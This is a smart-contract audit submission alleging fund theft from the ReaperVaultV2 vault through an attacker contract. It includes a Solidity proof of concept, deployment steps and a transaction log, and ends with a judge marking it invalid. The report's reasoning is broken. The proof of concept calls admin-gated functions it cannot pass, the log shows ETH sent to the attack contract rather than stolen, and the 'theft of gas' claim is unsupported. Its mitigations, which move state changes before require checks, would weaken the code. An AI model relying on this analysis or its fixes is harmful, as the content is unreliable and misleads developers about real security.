Withdrawal of funds using the withdraw() and other functions in ReaperVaultV2.sol

[code423n4]

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultV2.sol#L144-L171 https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultV2.sol#L319-L338 https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultV2.sol#L359-L412 https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultV2.sol#L637-L644

Vulnerability details

Impact

File: Ethos-Vault/contracts/ReaperVaultV2.sol

URL: https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Vault/contracts/ReaperVaultV2.sol#L353-L355

Description:
Withdrawal of funds using the withdraw() and other functions in ReaperVaultV2.sol
I built a function called withdraw() in a TestReaperVaultV2.sol contract that was deployed and linked to the ReaperVaultV2.sol contract in a local environment.
In the withdraw() function I am calling withdraw along with 2 other functions mentioned below.
From the withdraw() function that links back to the ReaperVaultV2.sol contract from the attack withdraw() function, I am able to withdraw funds from the ReaperVaultV2.sol contract.

Impact:
Using the attacker contract called TestReaperVaultV2.sol, I can withdraw money from the victim contract called ReaperVaultV2.sol.  
It also costs the victim contract called ReaperVaultV2.sol gas.  Which is also know as Theft of gas.

# The functions vulnerable are as follows:
# Line 144-171
    function addStrategy(
        address _strategy,
        uint256 _feeBPS,
        uint256 _allocBPS
    ) external {
        _atLeastRole(DEFAULT_ADMIN_ROLE);
        require(!emergencyShutdown, "Cannot add strategy during emergency shutdown");
        require(_strategy != address(0), "Invalid strategy address");
        require(strategies[_strategy].activation == 0, "Strategy already added");
        require(address(this) == IStrategy(_strategy).vault(), "Strategy's vault does not match");
        require(address(token) == IStrategy(_strategy).want(), "Strategy's want does not match");
        require(_feeBPS <= PERCENT_DIVISOR / 5, "Fee cannot be higher than 20 BPS");
        require(_allocBPS + totalAllocBPS <= PERCENT_DIVISOR, "Invalid allocBPS value");

        strategies[_strategy] = StrategyParams({
            activation: block.timestamp,
            feeBPS: _feeBPS,
            allocBPS: _allocBPS,
            allocated: 0,
            gains: 0,
            losses: 0,
            lastReport: block.timestamp
        });

        totalAllocBPS += _allocBPS;
        withdrawalQueue.push(_strategy);
        emit StrategyAdded(_strategy, _feeBPS, _allocBPS);
    }

# Line 319-338
  function _deposit(uint256 _amount, address _receiver) internal nonReentrant returns (uint256 shares) {
        _atLeastRole(DEPOSITOR);
        require(!emergencyShutdown, "Cannot deposit during emergency shutdown");
        require(_amount != 0, "Invalid amount");
        uint256 pool = balance();
        require(pool + _amount <= tvlCap, "Vault is full");

        uint256 freeFunds = _freeFunds();
        uint256 balBefore = token.balanceOf(address(this));
        token.safeTransferFrom(msg.sender, address(this), _amount);
        uint256 balAfter = token.balanceOf(address(this));
        _amount = balAfter - balBefore;
        if (totalSupply() == 0) {
            shares = _amount;
        } else {
            shares = (_amount * totalSupply()) / freeFunds; // use "freeFunds" instead of "pool"
        }
        _mint(_receiver, shares);
        emit Deposit(msg.sender, _receiver, _amount, shares);
    }

# Line 359-412
    function _withdraw(
        uint256 _shares,
        address _receiver,
        address _owner
    ) internal nonReentrant returns (uint256 value) {
        require(_shares != 0, "Invalid amount");
        value = (_freeFunds() * _shares) / totalSupply();
        _burn(_owner, _shares);

        if (value > token.balanceOf(address(this))) {
            uint256 totalLoss = 0;
            uint256 queueLength = withdrawalQueue.length;
            uint256 vaultBalance = 0;
            for (uint256 i = 0; i < queueLength; i = i.uncheckedInc()) {
                vaultBalance = token.balanceOf(address(this));
                if (value <= vaultBalance) {
                    break;
                }

                address stratAddr = withdrawalQueue[i];
                uint256 strategyBal = strategies[stratAddr].allocated;
                if (strategyBal == 0) {
                    continue;
                }

                uint256 remaining = value - vaultBalance;
                uint256 loss = IStrategy(stratAddr).withdraw(Math.min(remaining, strategyBal));
                uint256 actualWithdrawn = token.balanceOf(address(this)) - vaultBalance;

                // Withdrawer incurs any losses from withdrawing as reported by strat
                if (loss != 0) {
                    value -= loss;
                    totalLoss += loss;
                    _reportLoss(stratAddr, loss);
                }

                strategies[stratAddr].allocated -= actualWithdrawn;
                totalAllocated -= actualWithdrawn;
            }

            vaultBalance = token.balanceOf(address(this));
            if (value > vaultBalance) {
                value = vaultBalance;
            }

            require(
                totalLoss <= ((value + totalLoss) * withdrawMaxLoss) / PERCENT_DIVISOR,
                "Withdraw loss exceeds slippage"
            );
        }

        token.safeTransfer(_receiver, value);
        emit Withdraw(msg.sender, _receiver, _owner, value, _shares);
    }

# Line 637-644
    function inCaseTokensGetStuck(address _token) external {
        _atLeastRole(ADMIN);
        require(_token != address(token), "!token");

        uint256 amount = IERC20Metadata(_token).balanceOf(address(this));
        IERC20Metadata(_token).safeTransfer(msg.sender, amount);
        emit InCaseTokensGetStuckCalled(_token, amount);
    }

# Prep:
Victim Contract
1. recreate the following contract in Remix IDE "ReaperVaultV2.sol"
2. compile contract
3. go to deploy and run transactions tab
4. Install Foundry in CMD and call anvil to connect. > Go back to Remix IDE> Deploy Tab> set environment to Foundry Provider VM.
5. select first account from drop down and copy its address
6. next to "At Address" button paste the address in and click "At Address" button and contract is deployed with 10000 ETH. 

Attack Contract
7. In Remix IDE recreate my PoC code above and save as a contract called "TestReaperVaultV2.sol"
8. compile contract.
9. go to deploy and run transactions tab
10. set environment to Foundry VM.  And set the value to 1000 and the drop list to Ether.
11. select second account from drop down and copy the address of the first account
12. next to the "Deploy" button paste the first address of the victim and click the "deploy" button and contract is deployed
13. Then select first account from "Account" drop list before next step.

Action
NB:
victim contract 
attack contract 

1. start balance of victim contract Balance: 10000 ETH
2. start balance of attack contract Balance: 1000 ETH
3. in deploy tab select victim contract.
4. in deploy tab under value enter 100 ether
5. In the pick list select Ether
6. click on call withdraw() function button in attack contract
7. end balance of victim contract Balance: 9999.799860840165999048 ETH
8. end balance of attack contract Balance: 1000.1 ETH
9. Finally, 100000000000000000 Wei has been deducted from victim contract and deposited into attacker contract.  
10. The gas is charged to the victim contract.  Theft of gas.

Proof of Concept

// SPDX-License-Identifier: BUSL-1.1

pragma solidity >=0.6.0<0.9.0;

import "./interfaces/IERC4626Events.sol";
import "./interfaces/IStrategy.sol";
import "./libraries/ReaperMathUtils.sol";
import "./mixins/ReaperAccessControl.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";

import "./ReaperVaultV2.sol";

contract TestReaperVaultV2  {

    ReaperVaultV2 public aaa;
    address victim = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;
    address attacker = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;
    uint256 amount = 1;

    constructor(ReaperVaultV2 _aaa) public payable {
        aaa = ReaperVaultV2(_aaa);
    }

    function withdraw() external payable {
        if(msg.value >= 1 ether) {
        aaa.addStrategy(address(attacker), uint256(amount), uint256(amount));
        aaa.withdraw(uint256(amount));
        aaa.inCaseTokensGetStuck(address(attacker));
        }
    }

}

# Log:
transact to TestReaperVaultV2.withdraw pending ... 
[block:11 txIndex:0]from: 0xf39...92266to: TestReaperVaultV2.withdraw() 0x59F...Eb8d0value: 100000000000000000 weidata: 0x3cc...fd60blogs: 0hash: 0x0d8...19723
status  true Transaction mined and execution succeed
transaction hash    0x23b4e391294f919c884aedf0e52cf2ed968b96825a3368e37fa67598abbe55b1
from    0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
to  TestReaperVaultV2.withdraw() 0x59F2f1fCfE2474fD5F0b9BA1E73ca90b143Eb8d0
gas 22329 gas
transaction cost    21184 gas 
input   0x3cc...fd60b
decoded input   {}
decoded output   - 
logs    []
val 100000000000000000 wei

Tools Used

Remix IDE integrated with Foundry Provider Environment testing and deployment into an enclosed Foundry environment with a git clone of the repository.

Recommended Mitigation Steps

1. For function called addStrategy(), the updates to totalAllocBPS += _allocBPS; should come before the require statements.
2. For function called _deposit() which is called by deposit(), the updates to _amount = balAfter - balBefore; should come before the require statements.
3. For function called _withdraw() which is called by withdraw(), the updates to value = (_freeFunds() * _shares) / totalSupply(); should come before the require(_shares != 0, "Invalid amount"); statement.
4. For function called inCaseTokensGetStuck(), the updates to uint256 amount = IERC20Metadata(_token).balanceOf(address(this)); should come before the require(_token != address(token), "!token"); statement.

[c4-judge]

trust1995 marked the issue as unsatisfactory: Invalid